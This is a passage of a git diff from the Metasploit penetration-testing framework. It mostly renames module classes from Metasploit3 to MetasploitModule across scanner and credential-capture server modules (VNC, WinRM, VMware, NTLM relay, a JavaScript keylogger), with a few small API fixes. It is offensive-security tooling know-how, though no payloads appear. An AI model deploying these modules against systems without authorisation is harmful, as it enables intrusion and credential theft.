fail_with(Failure::BadConfig, "Unable to extract list of ports from #{datastore['PORTS']}") + end + + @probe = datastore['PROBE'] ? datastore['PROBE'] : '' + end + + def scanner_prescan(batch) + print_status("Sending #{@probe.length}-byte probes to #{@ports.length} port(s) on #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @results ||= {} + end + + def scan_host(ip) + @ports.each do |port| + scanner_send(@probe, ip, port) + end + end + + # Called for each response packet, overriding UDPScanner's so that we can + # store all responses on a per-host, per-port basis + def scanner_process(data, shost, sport) + @results[shost] ||= {} + @results[shost][sport] ||= [] + @results[shost][sport] << data + end + + def scanner_postscan(batch) + batch.each do |shost| + next unless @results.key?(shost) + @results[shost].each_pair do |sport, responses| + report_service(host: shost, port: sport, proto: 'udp', info: responses.inspect, state: 'open') + vulnerable, proof = prove_amplification(@probe => responses) + next unless vulnerable + print_good("#{shost}:#{sport} - susceptible to UDP amplification: #{proof}") + report_vuln( + host: shost, + port: sport, + proto: 'udp', + name: 'UDP amplification', + refs: references + ) + end + end + end +end diff --git a/modules/auxiliary/scanner/udp_scanner_template.rb b/modules/auxiliary/scanner/udp_scanner_template.rb index 07ec5c659d..8253611195 100644 --- a/modules/auxiliary/scanner/udp_scanner_template.rb +++ b/modules/auxiliary/scanner/udp_scanner_template.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/upnp/ssdp_amp.rb b/modules/auxiliary/scanner/upnp/ssdp_amp.rb index 5d2217308d..b5854af7e8 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_amp.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_amp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Capture include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index 0f7496a036..99777f99e4 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb index 0cc62c9a60..753d309f50 100644 --- a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb +++ b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index 5844222e6c..abcdea7cb2 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -7,7 +7,7 @@ require 'msf/core/exploit/tcp' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/vmauthd' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/vmware/vmauthd_version.rb b/modules/auxiliary/scanner/vmware/vmauthd_version.rb index 28b6355385..abf0cd7665 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_version.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_version.rb @@ -5,7 +5,7 @@ require 'msf/core/exploit/tcp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb index d8bb09b6c5..2fb1b357e9 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/proto/ntlm/message' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::VIMSoap include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary when :error print_error "An error occured while trying to enumerate the permissions on #{ip}" else - tmp_perms = Rex::Ui::Text::Table.new( + tmp_perms = Rex::Text::Table.new( 'Header' => "Permissions for VMWare #{ip}", 'Indent' => 1, 'Columns' => ['Name', 'IsAGroup', 'Role', 'Role Summary'] diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb index 3cd4b3563a..262d2304ee 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/proto/ntlm/message' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::VIMSoap include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb index 8189a9b495..ea443da12c 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/proto/ntlm/message' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::VIMSoap include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -40,12 +40,12 @@ class Metasploit3 < Msf::Auxiliary if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success # Get local Users and Groups user_list = vim_get_user_list(nil) - tmp_users = Rex::Ui::Text::Table.new( + tmp_users = Rex::Text::Table.new( 'Header' => "Users for server #{ip}", 'Indent' => 1, 'Columns' => ['Name', 'Description'] ) - tmp_groups = Rex::Ui::Text::Table.new( + tmp_groups = Rex::Text::Table.new( 'Header' => "Groups for server #{ip}", 'Indent' => 1, 'Columns' => ['Name', 'Description'] @@ -85,13 +85,13 @@ class Metasploit3 < Msf::Auxiliary else # Enumerate Domain Users and Groups esx_domains.each do |domain| - tmp_dusers = Rex::Ui::Text::Table.new( + tmp_dusers = Rex::Text::Table.new( 'Header' => "Users for domain #{domain}", 'Indent' => 1, 'Columns' => ['Name', 'Description'] ) - tmp_dgroups = Rex::Ui::Text::Table.new( + tmp_dgroups = Rex::Text::Table.new( 'Header' => "Groups for domain #{domain}", 'Indent' => 1, 'Columns' => ['Name', 'Description'] diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb index 45081e5019..0692fdb880 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/vmware/vmware_host_details.rb b/modules/auxiliary/scanner/vmware/vmware_host_details.rb index cd4cfb164c..e7929fed49 100644 --- a/modules/auxiliary/scanner/vmware/vmware_host_details.rb +++ b/modules/auxiliary/scanner/vmware/vmware_host_details.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index 0225eddd6e..36fc06096a 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/proto/ntlm/message' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::VIMSoap include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb index de4f89435f..72caad0ee1 100644 --- a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb +++ b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb index 68e1922d5e..52f6bd5fd2 100644 --- a/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb +++ b/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb index 600db46d77..3e9cc9e5fd 100644 --- a/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 91ec122893..22f1f22341 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -8,7 +8,7 @@ require 'rex/proto/rfb' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/vnc' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb index e16a345997..a787e463f7 100644 --- a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb +++ b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/rfb' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/voice/recorder.rb b/modules/auxiliary/scanner/voice/recorder.rb index 0f4fe85d52..726c055267 100644 --- a/modules/auxiliary/scanner/voice/recorder.rb +++ b/modules/auxiliary/scanner/voice/recorder.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'fileutils' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::IAX2 diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb index 88914a5525..8a9f4a5c1f 100644 --- a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb +++ b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WDBRPC include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb index 655bfbf00b..b2e2a25df1 100644 --- a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb +++ b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WDBRPC include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb index 05b76dd142..5a946de15a 100644 --- a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb +++ b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/proto/ntlm/message' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WinRM include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb index a4ce2652f7..73639a55bb 100644 --- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb +++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb @@ -9,7 +9,7 @@ require 'rex/proto/ntlm/message' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WinRM include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index 1871aa59d1..5b7f023495 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -10,7 +10,7 @@ require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner' require 'metasploit/framework/login_scanner/winrm' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WinRM include Msf::Auxiliary::Report @@ -35,7 +35,6 @@ class Metasploit3 < Msf::Auxiliary ], 'License' => MSF_LICENSE ) - end diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index 7beaf89022..2705a1ce24 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/proto/ntlm/message' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WinRM include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index 32912c464f..a13811d28b 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary if(success == 1) vendor_len = response[24,2].unpack('v')[0] vendor = response[40,vendor_len].unpack('A*')[0] - print_status("#{ip} Open X Server (#{vendor})") + print_good("#{ip} Open X Server (#{vendor})") # Add Report report_note( :host => ip, @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary :data => "Open X Server (#{vendor})" ) elsif (success == 0) - print_status("#{ip} Access Denied") + print_error("#{ip} Access Denied") else # X can return a reason for auth failure but we don't really care for this end diff --git a/modules/auxiliary/server/android_browsable_msf_launch.rb b/modules/auxiliary/server/android_browsable_msf_launch.rb index 7d603eb953..6763597f09 100644 --- a/modules/auxiliary/server/android_browsable_msf_launch.rb +++ b/modules/auxiliary/server/android_browsable_msf_launch.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer diff --git a/modules/auxiliary/server/android_mercury_parseuri.rb b/modules/auxiliary/server/android_mercury_parseuri.rb index d152584e06..cbce29df4f 100644 --- a/modules/auxiliary/server/android_mercury_parseuri.rb +++ b/modules/auxiliary/server/android_mercury_parseuri.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 35a4fcc4cc..0ff0e253b8 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -12,7 +12,7 @@ require 'msf/core' require 'rex/exploitation/js/detect' require 'rex/exploitation/jsobfu' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index 1c28beee94..a43d870673 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::BrowserAutopwn2 diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index 970b8cda7f..004bf01aa2 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index 667eca6a4a..8d01ea4a46 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb index 721835e278..82118512d3 100644 --- a/modules/auxiliary/server/capture/http.rb +++ b/modules/auxiliary/server/capture/http.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index 8e8db5c2ab..5b68785373 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb index aefe8fce9c..e6cf859bb2 100644 --- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/auxiliary/server/capture/http_ntlm.rb b/modules/auxiliary/server/capture/http_ntlm.rb index 9d775d940d..04d052845c 100644 --- a/modules/auxiliary/server/capture/http_ntlm.rb +++ b/modules/auxiliary/server/capture/http_ntlm.rb @@ -13,7 +13,7 @@ NTLM_CONST = Rex::Proto::NTLM::Constants NTLM_CRYPT = Rex::Proto::NTLM::Crypt MESSAGE = Rex::Proto::NTLM::Message -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/imap.rb b/modules/auxiliary/server/capture/imap.rb index 843ef0580b..979f44a84a 100644 --- a/modules/auxiliary/server/capture/imap.rb +++ b/modules/auxiliary/server/capture/imap.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb index 99885df4af..4f660f1d78 100644 --- a/modules/auxiliary/server/capture/mssql.rb +++ b/modules/auxiliary/server/capture/mssql.rb @@ -12,7 +12,7 @@ NTLM_CONST = Rex::Proto::NTLM::Constants NTLM_CRYPT = Rex::Proto::NTLM::Crypt MESSAGE = Rex::Proto::NTLM::Message -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::SMB::Server diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index a11ff87366..aba21c66df 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index f22877434f..92cd3a383e 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index d9f11042d1..bafb8f0366 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/printjob_capture.rb b/modules/auxiliary/server/capture/printjob_capture.rb index 8c08bf33d4..5c6954fe81 100644 --- a/modules/auxiliary/server/capture/printjob_capture.rb +++ b/modules/auxiliary/server/capture/printjob_capture.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index 03dd3e2113..debf7c8653 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/socket' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index 1f3e23306a..100f800596 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::SMB::Server diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb index 12769c29cb..f44de779d7 100644 --- a/modules/auxiliary/server/capture/smtp.rb +++ b/modules/auxiliary/server/capture/smtp.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/telnet.rb b/modules/auxiliary/server/capture/telnet.rb index d1cabac7e4..73b966de96 100644 --- a/modules/auxiliary/server/capture/telnet.rb +++ b/modules/auxiliary/server/capture/telnet.rb @@ -6,7 +6,7 @@ require 'msf/core' # Fake Telnet Service - Kris Katterjohn 09/28/2008 -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/capture/vnc.rb b/modules/auxiliary/server/capture/vnc.rb index adf634969d..b6e6cb0121 100644 --- a/modules/auxiliary/server/capture/vnc.rb +++ b/modules/auxiliary/server/capture/vnc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/dhclient_bash_env.rb b/modules/auxiliary/server/dhclient_bash_env.rb index 1441bd48c9..edb64ec9e4 100644 --- a/modules/auxiliary/server/dhclient_bash_env.rb +++ b/modules/auxiliary/server/dhclient_bash_env.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/dhcp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DHCPServer diff --git a/modules/auxiliary/server/dhcp.rb b/modules/auxiliary/server/dhcp.rb index 65aad4275c..d25ee16e46 100644 --- a/modules/auxiliary/server/dhcp.rb +++ b/modules/auxiliary/server/dhcp.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/dhcp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DHCPServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/dns/spoofhelper.rb b/modules/auxiliary/server/dns/spoofhelper.rb index 1fda7a81a6..f4f2f3ca8f 100644 --- a/modules/auxiliary/server/dns/spoofhelper.rb +++ b/modules/auxiliary/server/dns/spoofhelper.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'resolv' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/fakedns.rb b/modules/auxiliary/server/fakedns.rb index 88c9c5f125..695a346578 100644 --- a/modules/auxiliary/server/fakedns.rb +++ b/modules/auxiliary/server/fakedns.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'resolv' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -70,11 +70,11 @@ class Metasploit3 < Msf::Auxiliary @log_console = false @log_database = false - if (datastore['LogConsole'].to_s.match(/^(t|y|1)/i)) + if datastore['LogConsole'] @log_console = true end - if (datastore['LogDatabase'].to_s.match(/^(t|y|1)/i)) + if datastore['LogDatabase'] @log_database = true end diff --git a/modules/auxiliary/server/ftp.rb b/modules/auxiliary/server/ftp.rb index c6bb913e8a..885bfd3d70 100644 --- a/modules/auxiliary/server/ftp.rb +++ b/modules/auxiliary/server/ftp.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::FtpServer include Msf::Auxiliary::Report @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary end path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg)) - if(not ::File.exists?(path)) + if(not ::File.exist?(path)) c.put "550 File does not exist\r\n" return end @@ -134,7 +134,7 @@ class Metasploit3 < Msf::Auxiliary end path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg)) - if(not ::File.exists?(path)) + if(not ::File.exist?(path)) c.put "550 File does not exist\r\n" return end @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Auxiliary end npath = ::File.expand_path(::File.join(datastore['FTPROOT'], bpath)) - if not (::File.exists?(npath) and ::File.directory?(npath)) + if not (::File.exist?(npath) and ::File.directory?(npath)) c.put "550 Directory does not exist\r\n" return end diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index 285232a1fa..8110a187b5 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -15,7 +15,7 @@ NTLM_CONST = Rex::Proto::NTLM::Constants NTLM_CRYPT = Rex::Proto::NTLM::Crypt MESSAGE = Rex::Proto::NTLM::Message -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML @@ -310,7 +310,7 @@ class Metasploit3 < Msf::Auxiliary else print_status("Auth successful, saving server response in database") end - vprint_status(resp) + vprint_status(resp.to_s) end return [resp, ser_sock] end diff --git a/modules/auxiliary/server/icmp_exfil.rb b/modules/auxiliary/server/icmp_exfil.rb index 18ef1934ae..0033a03077 100644 --- a/modules/auxiliary/server/icmp_exfil.rb +++ b/modules/auxiliary/server/icmp_exfil.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb 